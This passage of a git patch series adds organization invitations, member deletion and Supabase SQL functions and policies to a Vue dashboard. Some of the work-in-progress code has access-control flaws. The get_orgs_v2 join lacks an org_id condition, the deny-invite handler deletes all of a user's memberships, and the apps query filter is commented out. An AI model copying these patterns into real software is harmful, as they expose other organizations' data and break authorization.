@@ -20,8 +31,84 @@ onMounted(async () => {
   )
 })
 
-function onOrganizationClick(org: string) {
-  organizationStore.setCurrentOrganization(org)
+async function handleOrganizationInvitation(org: Organization) {
+  const newName = t('alert-accept-inviation').replace('%ORG%', org.name)
+  console.log(newName)
+  displayStore.dialogOption = {
+    header: t('alert-confirm-invite'),
+    message: `${newName}`,
+    buttons: [
+      {
+        text: t('button-join'),
+        id: 'confirm-button',
+        handler: async () => {
+          const { data, error } = await supabase.rpc('accept_invitation_to_org', {
+            org_id: org.gid,
+          })
+
+          if (!data || error) {
+            console.log('Error accept: ', error)
+            return
+          }
+
+          console.log('Data accept:', data)
+          switch (data) {
+            case 'OK':
+              organizationStore.setCurrentOrganization(org.gid)
+              organizationStore.fetchOrganizations()
+              break
+            case 'NO_INVITE':
+              toast.error(t('alert-no-invite'))
+              break
+            case 'INVALID_ROLE':
+              toast.error(t('alert-not-invited'))
+              break
+            default:
+              toast.error(t('alert-unknown-error'))
+              break
+          }
+        },
+      },
+      {
+        text: t('button-deny-invite'),
+        id: 'deny-button',
+        handler: async () => {
+          const userId = main.user?.id
+          if (userId === undefined)
+            return
+
+          const { error } = await supabase
+            .from('org_users')
+            .delete()
+            .eq('user_id', userId)
+
+          if (error)
+            console.log('Error delete: ', error)
+
+          organizationStore.fetchOrganizations()
+          toast.success(t('alert-denied-invite'))
+        },
+      },
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+}
+
+function onOrganizationClick(org: Organization) {
+  console.log(org)
+  console.log('Role: ', org.role)
+
+  // Check if the user is invited to the organization
+  if (org.role.startsWith('invite')) {
+    handleOrganizationInvitation(org)
+    return
+  }
+
+  organizationStore.setCurrentOrganization(org.gid)
 
   if (dropdown)
     dropdown.hide()
@@ -37,8 +124,8 @@ function onOrganizationClick(org: string) {
   </button>
   <div id="dropdown-org" class="z-10 hidden bg-white divide-y divide-gray-100 rounded-lg shadow w-44 dark:bg-gray-700">
     <ul class="py-2 text-sm text-gray-700 dark:text-gray-200" aria-labelledby="dropdownDefaultButton">
-      <li v-for="org in organizations" :key="org.id">
-        <a class="block px-4 py-2 hover:bg-gray-100 dark:hover:bg-gray-600 dark:hover:text-white" @click="onOrganizationClick(org.id)">{{ org.name }}</a>
+      <li v-for="org in organizations" :key="org.gid">
+        <a class="block px-4 py-2 hover:bg-gray-100 dark:hover:bg-gray-600 dark:hover:text-white" @click="onOrganizationClick(org)">{{ org.name }}</a>
       </li>
     </ul>
   </div>
diff --git a/src/pages/dashboard/settings/organization/General.vue b/src/pages/dashboard/settings/organization/General.vue
index b03f554ca5..4a43b71922 100644
--- a/src/pages/dashboard/settings/organization/General.vue
+++ b/src/pages/dashboard/settings/organization/General.vue
@@ -85,7 +85,7 @@ async function saveChanges() {
 <template>
   <div class="h-full p-8 max-h-fit grow md:pb-0 overflow-hidden" style="min-height: 100%;">
     <!-- TODO Classes are not working -->
-    <FormKit id="update-account" type="form" :actions="false" class="min-h-[100%] flex flex-col justify-between" style="min-height: 100%; display: flex; flex-direction: column;" @submit="submit">
+    <FormKit id="update-account" type="form" :actions="false" class="min-h-[100%] flex flex-col justify-between" style="min-height: 100%; display: flex; flex-direction: column;">
       <div>
         <section>
           <div class="flex items-center">
@@ -115,7 +115,7 @@ async function saveChanges() {
       <footer style="margin-top: auto">
         <div class="flex flex-col px-6 py-5 border-t border-slate-200">
           <div class="flex self-end">
-            <button type="button" class="text-white bg-gray-800 hover:bg-gray-900 focus:outline-none focus:ring-4 focus:ring-gray-300 font-medium rounded-lg text-sm px-5 py-2.5 mr-2 mb-2 dark:bg-gray-800 dark:hover:bg-gray-700 dark:focus:ring-gray-700 dark:border-gray-700" @click="deleteAccount()">
+            <button type="button" class="text-white bg-gray-800 hover:bg-gray-900 focus:outline-none focus:ring-4 focus:ring-gray-300 font-medium rounded-lg text-sm px-5 py-2.5 mr-2 mb-2 dark:bg-gray-800 dark:hover:bg-gray-700 dark:focus:ring-gray-700 dark:border-gray-700">
               {{ t('cancel') }}
             </button>
             <button
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index 4cf1ba5086..8393ea0899 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -7,6 +7,7 @@ import Trash from '~icons/heroicons/trash'
 import Wrench from '~icons/heroicons/Wrench'
 
 import { useOrganizationStore } from '~/stores/organization'
+import type { ExtendedOrganizationMembers } from '~/stores/organization'
 import Plus from '~icons/heroicons/plus'
 import type { Database } from '~/types/supabase.types'
 import { useDisplayStore } from '~/stores/display'
@@ -19,7 +20,7 @@ const organizationStore = useOrganizationStore()
 const { currentOrganization } = storeToRefs(organizationStore)
 const supabase = useSupabase()
 
-const members = ref([] as Database['public']['Functions']['get_org_members']['Returns'])
+const members = ref([] as ExtendedOrganizationMembers)
 
 watch(currentOrganization, async () => {
   members.value = await organizationStore.getMembers()
@@ -113,7 +114,7 @@ async function showInviteModal() {
 async function sendInvitation(email: string, type: Database['public']['Enums']['user_min_right']) {
   console.log(`Invite ${email} with perm ${type}`)
 
-  const orgId = currentOrganization.value?.id
+  const orgId = currentOrganization.value?.gid
   if (!orgId)
     return
 
diff --git a/src/services/types.ts b/src/services/types.ts
new file mode 100644
index 0000000000..2ae7d2db68
--- /dev/null
+++ b/src/services/types.ts
@@ -0,0 +1,78 @@
+type Primitive = string | number | boolean | bigint | symbol | null | undefined
+type Expand<T> = T extends Primitive ? T : { [K in keyof T]: T[K] }
+
+type OptionalKeys<T> = {
+  [K in keyof T]-?: T extends Record<K, T[K]> ? never : K;
+}[keyof T]
+
+type RequiredKeys<T> = {
+  [K in keyof T]-?: T extends Record<K, T[K]> ? K : never;
+}[keyof T] &
+keyof T
+
+type RequiredMergeKeys<T, U> = RequiredKeys<T> & RequiredKeys<U>
+
+type OptionalMergeKeys<T, U> =
+    | OptionalKeys<T>
+    | OptionalKeys<U>
+    | Exclude<RequiredKeys<T>, RequiredKeys<U>>
+    | Exclude<RequiredKeys<U>, RequiredKeys<T>>
+
+type MergeNonUnionObjects<T, U> = Expand<
+    {
+      [K in RequiredMergeKeys<T, U>]: Expand<Merge<T[K], U[K]>>;
+    } & {
+      [K in OptionalMergeKeys<T, U>]?: K extends keyof T
+        ? K extends keyof U
+          ? Expand<Merge<
+                    Exclude<T[K], undefined>,
+                    Exclude<U[K], undefined>
+                >>
+          : T[K]
+        : K extends keyof U
+          ? U[K]
+          : never;
+    }
+>
+
+type MergeNonUnionArrays<T extends readonly any[], U extends readonly any[]> = Array<Expand<Merge<T[number], U[number]>>>
+
+type MergeArrays<T extends readonly any[], U extends readonly any[]> = [T] extends [never]
+  ? U extends any
+    ? MergeNonUnionArrays<T, U>
+    : never
+  : [U] extends [never]
+      ? T extends any
+        ? MergeNonUnionArrays<T, U>
+        : never
+      : T extends any
+        ? U extends any
+          ? MergeNonUnionArrays<T, U>
+          : never
+        : never
+
+type MergeObjects<T, U> = [T] extends [never]
+  ? U extends any
+    ? MergeNonUnionObjects<T, U>
+    : never
+  : [U] extends [never]
+      ? T extends any
+        ? MergeNonUnionObjects<T, U>
+        : never
+      : T extends any
+        ? U extends any
+          ? MergeNonUnionObjects<T, U>
+          : never
+        : never
+
+export type Merge<T, U> =
+    | Extract<T | U, Primitive>
+    | MergeArrays<Extract<T, readonly any[]>, Extract<U, readonly any[]>>
+    | MergeObjects<Exclude<T, Primitive | readonly any[]>, Exclude<U, Primitive | readonly any[]>>
+
+export type ArrayElement<ArrayType extends readonly unknown[]> =
+  ArrayType extends readonly (infer ElementType)[] ? ElementType : never
+
+export type Concrete<Type> = {
+  [Property in keyof Type]-?: Type[Property];
+}
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 7cb8cb9576..7d240df75e 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -4,10 +4,12 @@ import type { ComputedRef, Ref } from 'vue'
 import { useMainStore } from './main'
 import type { Database } from '~/types/supabase.types'
 import { useSupabase } from '~/services/supabase'
+import type { ArrayElement, Concrete, Merge } from '~/services/types'
 
 type User = Database['public']['Tables']['users']['Row']
-export type Organization = Database['public']['Tables']['orgs']['Row']
-type ExtendedOrganizationMembers = Database['public']['Functions']['get_org_members']['Returns']
+export type Organization = ArrayElement<Database['public']['Functions']['get_orgs_v2']['Returns']>
+type OrganizationRole = Database['public']['Enums']['user_min_right'] | 'owner'
+export type ExtendedOrganizationMembers = Concrete<Merge<ArrayElement<Database['public']['Functions']['get_org_members']['Returns']>, { id: number }>>[]
 // TODO Create user rights in database
 // type Right = Database['public']['Tables']['user_rights']['Row']
 type Right = 'create' | 'read' | 'update' | 'delete'
@@ -28,7 +30,7 @@ export const useOrganizationStore = defineStore('organization', () => {
   const currentOrganization = ref<Organization>()
 
   const setCurrentOrganization = (id: string) => {
-    currentOrganization.value = organizations.value.find(org => org.id === id)
+    currentOrganization.value = organizations.value.find(org => org.gid === id)
   }
 
   const setCurrentOrganizationFromValue = (value: Organization) => {
@@ -36,7 +38,7 @@ export const useOrganizationStore = defineStore('organization', () => {
   }
 
   const getMembers = async (): Promise<ExtendedOrganizationMembers> => {
-    const currentOrgId = currentOrganization.value?.id
+    const currentOrgId = currentOrganization.value?.gid
     if (!currentOrgId)
       return []
 
@@ -56,29 +58,42 @@ export const useOrganizationStore = defineStore('organization', () => {
       return []
     }
 
-    return data
+    return data.map(
+      (item, id) => {
+        return { id, ...item }
+      },
+    )
   }
 
   const fetchOrganizations = async () => {
     const main = useMainStore()
 
     console.log('fetch orgs!')
+    const userId = main.user?.id
+    if (!userId)
+      return
+
     // We have RLS that ensure that we only selct rows where we are member or owner
     const { data, error } = await supabase
-      .from('orgs')
-      .select('*')
+      .rpc('get_orgs_v2', {
+        userid: userId,
+      })
 
     if (error)
       throw error
 
     console.log('fetch or d', data)
-    const organization = <Organization | undefined>data[0]
+    const organization = data.find(org => org.role === 'owner')
     if (!organization) {
       console.log('user has no main organization')
       return
     }
 
-    _organizations.value = new Map(data.map(item => [item.id, item]))
+    const mappedData = data.map((item, id) => {
+      return { id, ...item }
+    })
+
+    _organizations.value = new Map(mappedData.map(item => [item.id.toString(), item]))
     if (!currentOrganization.value)
       currentOrganization.value = organization
   }
diff --git a/src/types/supabase.types.ts b/src/types/supabase.types.ts
index 2a63ed18c2..c7e1d8a590 100644
--- a/src/types/supabase.types.ts
+++ b/src/types/supabase.types.ts
@@ -1261,6 +1261,12 @@ export interface Database {
       }
     }
     Functions: {
+      accept_invitation_to_org: {
+        Args: {
+          org_id: string
+        }
+        Returns: string
+      }
       check_min_rights: {
         Args: {
           min_right: Database["public"]["Enums"]["user_min_right"]
@@ -1515,26 +1521,20 @@ export interface Database {
           guild_id: string
         }
         Returns: {
-          id: number
-          created_at: string
-          updated_at: string
-          user_id: string
-          org_id: string
-          app_id: string
-          channel_id: number
-          user_right: Database["public"]["Enums"]["user_min_right"]
           email: string
           image_url: string
         }[]
       }
-      get_orgs: {
+      get_orgs_v2: {
         Args: {
           userid: string
         }
         Returns: {
-          id: string
+          gid: string
+          created_by: string
           logo: string
           name: string
+          role: string
         }[]
       }
       get_plan_usage_percent: {
@@ -1821,6 +1821,13 @@ export interface Database {
       match_plan: {
         name: string
       }
+      owned_orgs: {
+        id: string
+        created_by: string
+        logo: string
+        name: string
+        role: string
+      }
       stats_table: {
         mau: number
         bandwidth: number
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index c31e116f5a..4668c34c6d 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -74,6 +74,14 @@ CREATE TYPE "public"."stats_table" AS (
 	"storage" double precision
 );
 
+CREATE TYPE "public"."owned_orgs" AS (
+    "id" uuid, 
+    "created_by" uuid, 
+    "logo" text, 
+    "name" text, 
+    "role" varchar
+);
+
 CREATE TYPE "public"."stripe_status" AS ENUM (
     'created',
     'succeeded',
@@ -230,9 +238,44 @@ begin
 End;
 $$;
 
+CREATE FUNCTION "public"."get_orgs_v2"("userid" "uuid") RETURNS TABLE(gid uuid, created_by uuid, logo text, name text, role varchar)
+    LANGUAGE "plpgsql"
+    AS $$
+BEGIN
+  return query select o.id as gid, o.created_by, o.logo, o.name, org_users.user_right::varchar from orgs as o
+  join org_users on org_users.user_id=get_orgs_v2.userid
+  where o.created_by != get_orgs_v2.userid
+  union all
+  select o.id as gid, o.created_by, o.logo, o.name, 'owner' as "role" from orgs as o
+  where o.created_by = get_orgs_v2.userid;
+END;  
+$$;
 
-drop FUNCTION "public"."get_org_members"("guild_id" uuid)
-select get_org_members('034be89b-648b-47c5-8414-6a40c0ab15a6')
+-- This is not important, however is a good example of how to return a setof a custom type
+-- Returns a set of custom type is compicated, and this shows how to do it
+-- CREATE FUNCTION "public"."get_orgs_v2"("userid" "uuid") RETURNS setof "public"."owned_orgs"
+--     LANGUAGE "plpgsql"
+--     AS $$
+-- DECLARE
+--     members_size integer := 0;
+--     owner_org "public"."owned_orgs";
+--     result owned_orgs%rowtype;
+-- BEGIN
+--   FOR result in select o.id, o.created_by, o.logo, o.name, org_users.user_right::varchar from orgs as o
+--   join org_users on org_users.user_id=get_orgs_v2.userid
+--   where o.created_by != get_orgs_v2.userid
+--   LOOP
+--     members_size := members_size + 1;
+--     return next result;
+--   end LOOP;
+
+--   select o.id, o.created_by, o.logo, o.name, 'owner' as "role" from orgs as o
+--   into owner_org
+--   where o.created_by = get_orgs_v2.userid;
+
+--   return next owner_org;
+-- END;  
+-- $$;
 
 CREATE FUNCTION "public"."count_all_need_upgrade"() RETURNS integer
     LANGUAGE "plpgsql"
@@ -770,6 +813,32 @@ Begin
 End;
 $$
 
+CREATE FUNCTION "public"."accept_invitation_to_org"("org_id" "uuid") RETURNS varchar
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Declare  
+ invite record;
+Begin
+  SELECT org_users.* FROM org_users
+  INTO invite
+  WHERE org_users.org_id=accept_invitation_to_org.org_id and auth.uid()=org_users.user_id;
+
+  IF invite IS NULL THEN
+    return 'NO_INVITE';
+  else
+    IF NOT (invite.user_right::varchar ilike 'invite_'||'%') THEN
+      return 'INVALID_ROLE';
+    END IF;
+
+    UPDATE org_users
+    SET user_right = REPLACE(invite.user_right::varchar, 'invite_', '')::user_min_right
+    WHERE org_users.id=invite.id;
+
+    return 'OK';
+  end if;
+End;
+$$
+
 CREATE FUNCTION "public"."increment_stats"("app_id" character varying, "date_id" character varying, "bandwidth" integer, "version_size" integer, "channels" integer, "shared" integer, "mlu" integer, "mlu_real" integer, "versions" integer, "devices" integer) RETURNS "void"
     LANGUAGE "sql"
     AS $$
@@ -1851,6 +1920,11 @@ AS PERMISSIVE FOR SELECT
 TO public
 USING ((is_member_of_org(auth.uid(), org_id) OR is_owner_of_org(auth.uid(), org_id)))
 
+CREATE POLICY "Allow to self delete" ON "public"."org_users"
+AS PERMISSIVE FOR DELETE
+TO public
+USING ((user_id=auth.uid()))
+
 CREATE POLICY "Disable for all" ON "public"."notifications" USING (false) WITH CHECK (false);
 
 CREATE POLICY "Disable for all" ON "public"."store_apps" USING (false) WITH CHECK (false);

From 4533a2bac71633e522c78f9e2972d4d64bb3b040 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 1 Sep 2023 20:34:41 +0200
Subject: [PATCH 21/96] deletion part 1

---
 .../settings/organization/Members.vue         | 38 ++++++++++++++++++-
 supabase/migrations/20230815171919_base.sql   |  6 +--
 2 files changed, 39 insertions(+), 5 deletions(-)

diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index 8393ea0899..202e7e3fd3 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -7,11 +7,12 @@ import Trash from '~icons/heroicons/trash'
 import Wrench from '~icons/heroicons/Wrench'
 
 import { useOrganizationStore } from '~/stores/organization'
-import type { ExtendedOrganizationMembers } from '~/stores/organization'
+import type { ExtendedOrganizationMember, ExtendedOrganizationMembers } from '~/stores/organization'
 import Plus from '~icons/heroicons/plus'
 import type { Database } from '~/types/supabase.types'
 import { useDisplayStore } from '~/stores/display'
 import { useSupabase } from '~/services/supabase'
+import { useMainStore } from '~/stores/main'
 
 const { t } = useI18n()
 const displayStore = useDisplayStore()
@@ -19,6 +20,7 @@ const displayStore = useDisplayStore()
 const organizationStore = useOrganizationStore()
 const { currentOrganization } = storeToRefs(organizationStore)
 const supabase = useSupabase()
+const main = useMainStore()
 
 const members = ref([] as ExtendedOrganizationMembers)
 
@@ -146,6 +148,38 @@ function handleSendInvitationOutput(output: string) {
     }
   }
 }
+
+async function didCancel(name: string) {
+  displayStore.dialogOption = {
+    header: t('alert-confirm-delete'),
+    message: `${t('alert-not-reverse-message')} ${t('alert-delete-message')} ${name}?`,
+    buttons: [
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+      },
+      {
+        text: t('button-delete'),
+        id: 'confirm-button',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+  return displayStore.onDialogDismiss()
+}
+
+async function deleteMember(member: ExtendedOrganizationMember) {
+  if (await didCancel(t('app')))
+    return
+
+  const { error } = await supabase.from('org_users').delete().eq('id', member.id)
+  if (error) {
+    console.log('Error delete: ', error)
+    toast.error(t('cannot-delete-member'))
+  }
+
+  toast.success(t('member-deleted'))
+}
 </script>
 
 <template>
@@ -179,7 +213,7 @@ function handleSendInvitationOutput(output: string) {
               <button class="w-7 h-7 bg-transparent ml-4">
                 <Wrench class="mr-4 text-lg text-[#397cea]" />
               </button>
-              <button class="w-7 h-7 bg-transparent ml-4">
+              <button v-if="member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id" class="w-7 h-7 bg-transparent ml-4" @click="deleteMember(member)">
                 <Trash class="mr-4 text-lg text-red-600" />
               </button>
             </div>
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 4668c34c6d..2c04ecc089 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -223,16 +223,16 @@ Begin
 End;
 $$;
 
-CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(email character varying, image_url character varying)
+CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(uid uuid, email character varying, image_url character varying)
     LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
 begin
-  return query select users.email, users.image_url from org_users as o
+  return query select users.id as uid, users.email, users.image_url from org_users as o
   join users on users.id = o.user_id
   where o.org_id=get_org_members.guild_id
   AND (is_member_of_org(users.id, o.org_id) OR is_owner_of_org(users.id, o.org_id))
   union all
-  select users.email, users.image_url from users
+  select users.id as uid, users.email, users.image_url from users
   join orgs on orgs.created_by = users.id
   where orgs.id=get_org_members.guild_id;
 End;

From 5dcf20ebeb2f26ee965954881b2ab47e2aaa3568 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 2 Sep 2023 08:01:26 +0200
Subject: [PATCH 22/96] Delete member + policy

---
 locales/en.yml                                |  3 ++
 src/components/Navbar.vue                     |  5 +-
 src/pages/app/home.vue                        | 46 +++++++------------
 .../settings/organization/Members.vue         | 18 +++++++-
 src/stores/organization.ts                    | 12 ++++-
 src/types/supabase.types.ts                   |  2 +
 supabase/migrations/20230815171919_base.sql   | 42 +++++++++++++++--
 7 files changed, 91 insertions(+), 37 deletions(-)

diff --git a/locales/en.yml b/locales/en.yml
index 0fdaf766e7..e08603c225 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -94,6 +94,8 @@ cannot-delete-app-icon: Cannot delete app icon
 cannot-delete-app-version: Cannot delete app version
 cannot-delete-bundle: Cannot delete bundle
 cannot-delete-channel: Cannot delete channel
+cannot-delete-member: Cannot delete member, check browser console
+cannot-delete-owner: Cannot delete owner from the organization
 cannot-get-the-test-: Cannot get the test version
 cannot-save-custom-i: Cannot save custom ID
 cannot-set-this-vers: Cannot set this version
@@ -208,6 +210,7 @@ making-this-channel-: >-
   Making this channel "normal" will need you to configure an other channel
   default or let device self assign.
 mau: Monthly active users
+member-deleted: Successfully deleted member
 members: Members
 module-heading: Modules
 monthly: Monthly
diff --git a/src/components/Navbar.vue b/src/components/Navbar.vue
index 19d5fdd927..1543fe5663 100644
--- a/src/components/Navbar.vue
+++ b/src/components/Navbar.vue
@@ -4,7 +4,6 @@ import { useRouter } from 'vue-router'
 import { onMounted, ref } from 'vue'
 import { getOrgs } from '../services/supabase'
 import UserMenu from '../components/dashboard/DropdownProfile.vue'
-import DropdownOrganization from './dashboard/DropdownOrganization.vue'
 import Banner from './Banner.vue'
 import { useMainStore } from '~/stores/main'
 import { useDisplayStore } from '~/stores/display'
@@ -62,7 +61,6 @@ const { t } = useI18n()
             <span class="sr-only">{{ t('open-sidebar') }}</span>
             <IconMenu class="w-6 h-6 fill-current" />
           </button>
-          <DropdownOrganization />
         </div>
 
         <div class="lg:absolute lg:inset-y-5 lg:left-1/2 lg:-translate-x-1/2">
@@ -72,6 +70,9 @@ const { t } = useI18n()
         </div>
         <!-- Header: Right side -->
         <div class="flex items-center space-x-3">
+          <div class=" mr-2">
+            <dropdown-organization />
+          </div>
           <UserMenu align="right" />
         </div>
       </div>
diff --git a/src/pages/app/home.vue b/src/pages/app/home.vue
index f7b1e7190b..f0a6713f09 100644
--- a/src/pages/app/home.vue
+++ b/src/pages/app/home.vue
@@ -27,7 +27,7 @@ async function getMyApps() {
   const { data } = await supabase
     .from('apps')
     .select()
-    .eq('user_id', main.user?.id).order('name', { ascending: true })
+    // .eq('user_id', main.user?.id).order('name', { ascending: true })
   if (data && data.length)
     apps.value = data
   else
@@ -39,34 +39,22 @@ async function onboardingDone() {
 }
 
 async function getSharedWithMe() {
-  const { data } = await supabase
-    .from('channel_users')
-    .select(`
-      id,
-      app_id (
-        app_id,
-        name,
-        updated_at,
-        icon_url,
-        last_version,
-        user_id,
-        created_at
-      ),
-      channel_id (
-        version (
-          bucket_id,
-          app_id,
-          name
-        ),
-        name,
-        updated_at,
-        created_at
-      ),
-      user_id
-      `)
-    .eq('user_id', main.user?.id)
-  if (data && data.length)
-    sharedApps.value = data as (Database['public']['Tables']['channel_users']['Row'] & ChannelUserApp)[]
+  const userId = main.user?.id
+  if (!userId)
+    return
+
+  const { data, error } = await supabase
+    .from('org_users')
+    .select('*')
+    .eq('user_id', userId)
+    .single()
+
+  if (error) {
+    console.log('Error get sharred: ', error)
+    return
+  }
+
+  console.log('shared', data)
 }
 watchEffect(async () => {
   if (route.path === '/app/home') {
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index 202e7e3fd3..b1d60b6903 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -172,12 +172,26 @@ async function deleteMember(member: ExtendedOrganizationMember) {
   if (await didCancel(t('app')))
     return
 
-  const { error } = await supabase.from('org_users').delete().eq('id', member.id)
+  console.log('Delete member: ', member)
+  if (member.aid === 0) {
+    toast.error(t('cannot-delete-owner'))
+    return
+  }
+
+  const { error } = await supabase.from('org_users').delete().eq('id', member.aid)
   if (error) {
     console.log('Error delete: ', error)
     toast.error(t('cannot-delete-member'))
   }
 
+  if (member.uid === main.user?.id) {
+    organizationStore.fetchOrganizations()
+    organizationStore.setCurrentOrganizationToMain()
+  }
+  else {
+    members.value = await organizationStore.getMembers()
+  }
+
   toast.success(t('member-deleted'))
 }
 </script>
@@ -213,7 +227,7 @@ async function deleteMember(member: ExtendedOrganizationMember) {
               <button class="w-7 h-7 bg-transparent ml-4">
                 <Wrench class="mr-4 text-lg text-[#397cea]" />
               </button>
-              <button v-if="member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id" class="w-7 h-7 bg-transparent ml-4" @click="deleteMember(member)">
+              <button v-if="(member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id) && member.uid !== currentOrganization?.created_by" class="w-7 h-7 bg-transparent ml-4" @click="deleteMember(member)">
                 <Trash class="mr-4 text-lg text-red-600" />
               </button>
             </div>
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 7d240df75e..29160df1ff 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -9,7 +9,8 @@ import type { ArrayElement, Concrete, Merge } from '~/services/types'
 type User = Database['public']['Tables']['users']['Row']
 export type Organization = ArrayElement<Database['public']['Functions']['get_orgs_v2']['Returns']>
 type OrganizationRole = Database['public']['Enums']['user_min_right'] | 'owner'
-export type ExtendedOrganizationMembers = Concrete<Merge<ArrayElement<Database['public']['Functions']['get_org_members']['Returns']>, { id: number }>>[]
+export type ExtendedOrganizationMember = Concrete<Merge<ArrayElement<Database['public']['Functions']['get_org_members']['Returns']>, { id: number }>>
+export type ExtendedOrganizationMembers = ExtendedOrganizationMember[]
 // TODO Create user rights in database
 // type Right = Database['public']['Tables']['user_rights']['Row']
 type Right = 'create' | 'read' | 'update' | 'delete'
@@ -37,6 +38,14 @@ export const useOrganizationStore = defineStore('organization', () => {
     currentOrganization.value = value
   }
 
+  const setCurrentOrganizationToMain = () => {
+    const organization = organizations.value.find(org => org.role === 'owner')
+    if (!organization)
+      throw new Error('User has no main organization')
+
+    currentOrganization.value = organization
+  }
+
   const getMembers = async (): Promise<ExtendedOrganizationMembers> => {
     const currentOrgId = currentOrganization.value?.gid
     if (!currentOrgId)
@@ -146,6 +155,7 @@ export const useOrganizationStore = defineStore('organization', () => {
     currentOrganization,
     setCurrentOrganization,
     setCurrentOrganizationFromValue,
+    setCurrentOrganizationToMain,
     getMembers,
     fetchOrganizations,
     dedupFetchOrganizations,
diff --git a/src/types/supabase.types.ts b/src/types/supabase.types.ts
index c7e1d8a590..abebcf0cc8 100644
--- a/src/types/supabase.types.ts
+++ b/src/types/supabase.types.ts
@@ -1521,6 +1521,8 @@ export interface Database {
           guild_id: string
         }
         Returns: {
+          aid: number
+          uid: string
           email: string
           image_url: string
         }[]
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 2c04ecc089..2495feb0ab 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -74,6 +74,15 @@ CREATE TYPE "public"."stats_table" AS (
 	"storage" double precision
 );
 
+CREATE TYPE "public"."orgs_table" AS (
+    id uuid,
+    created_by uuid,
+    created_at timestamp with time zone,
+    updated_at timestamp with time zone,
+    logo text,
+    name text
+);
+
 CREATE TYPE "public"."owned_orgs" AS (
     "id" uuid, 
     "created_by" uuid, 
@@ -223,16 +232,18 @@ Begin
 End;
 $$;
 
-CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(uid uuid, email character varying, image_url character varying)
+-- aid = absolute id (does not work for owner)
+-- uid = user id
+CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(aid int8, uid uuid, email character varying, image_url character varying)
     LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
 begin
-  return query select users.id as uid, users.email, users.image_url from org_users as o
+  return query select o.id as aid, users.id as uid, users.email, users.image_url from org_users as o
   join users on users.id = o.user_id
   where o.org_id=get_org_members.guild_id
   AND (is_member_of_org(users.id, o.org_id) OR is_owner_of_org(users.id, o.org_id))
   union all
-  select users.id as uid, users.email, users.image_url from users
+  select 0 as aid, users.id as uid, users.email, users.image_url from users
   join orgs on orgs.created_by = users.id
   where orgs.id=get_org_members.guild_id;
 End;
@@ -251,6 +262,21 @@ BEGIN
 END;  
 $$;
 
+CREATE FUNCTION "public"."get_user_main_org_id"("user_id" uuid) RETURNS uuid
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+DECLARE
+  org_id uuid;
+begin
+  select orgs.id from orgs
+  into org_id
+  where orgs.created_by=get_user_main_org.user_id
+  limit 1;
+
+  return org_id;
+End;
+$$;
+
 -- This is not important, however is a good example of how to return a setof a custom type
 -- Returns a set of custom type is compicated, and this shows how to do it
 -- CREATE FUNCTION "public"."get_orgs_v2"("userid" "uuid") RETURNS setof "public"."owned_orgs"
@@ -1925,6 +1951,11 @@ AS PERMISSIVE FOR DELETE
 TO public
 USING ((user_id=auth.uid()))
 
+CREATE POLICY "Allow org member to select" ON "public"."apps"
+AS PERMISSIVE FOR SELECT
+TO authenticated
+USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id(user_id), NULL::character varying, NULL::bigint))
+
 CREATE POLICY "Disable for all" ON "public"."notifications" USING (false) WITH CHECK (false);
 
 CREATE POLICY "Disable for all" ON "public"."store_apps" USING (false) WITH CHECK (false);
@@ -1999,6 +2030,11 @@ GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min
 GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "authenticated";
 GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "service_role";
 
+REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM PUBLIC;
+REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM anon;
+REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM authenticated;
+GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO postgres;
+
